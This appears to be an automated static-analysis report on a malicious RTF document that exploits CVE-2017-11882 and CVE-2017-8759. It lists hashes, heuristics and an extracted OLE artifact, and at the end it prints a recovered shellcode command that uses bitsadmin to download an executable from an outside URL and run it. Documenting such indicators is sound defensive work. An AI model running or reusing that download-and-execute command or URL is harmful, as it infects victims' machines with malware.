Malicious RTF — malware analysis report

Static analysis result for SHA-256 107970e25f6a6b67…

MALICIOUS

RTF

434.0 KB Created: 2018-03-22 11:07:00 First seen: 2019-01-25
MD5: aab631b76dcdc8ee7c332c76918cc597 SHA-1: 6f2f5ca9ff3199eab5f1293d46309afa83a05dca SHA-256: 107970e25f6a6b6770f28ef723654d7cb8911c5d51fde08ec4bb45e0de5c82b2
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an RTF document that exploits CVE-2017-11882 and CVE-2017-8759, known vulnerabilities in Microsoft Equation Editor and MSXML respectively. These exploits are designed to execute arbitrary code, likely downloading and running a second-stage payload from the URL http://natdrill.com.au/profiles/xc/new/outputA3A282F.exe. The document body's message about unsupported versions is a common lure for such attacks.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://natdrill.com.au/profiles/xc/new/outputA3A282F.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00009d86.bin rtf-objdata-decoded RTF \objdata at offset 0x9D86 15672 bytes
SHA-256: 0d7981f88947249654d6abb7819bbf91bbfb37bb8530e4d7d76e8ba8285c313e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://natdrill.com.au/profiles/xc/new/outputA3A282F.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer mt /priority foreground http://natdrill.com.au/profiles/xc/new/outputA3A282F.exe %USERPROFILE%\SXh.exe && start %USERPROFILE%\SXh.exe

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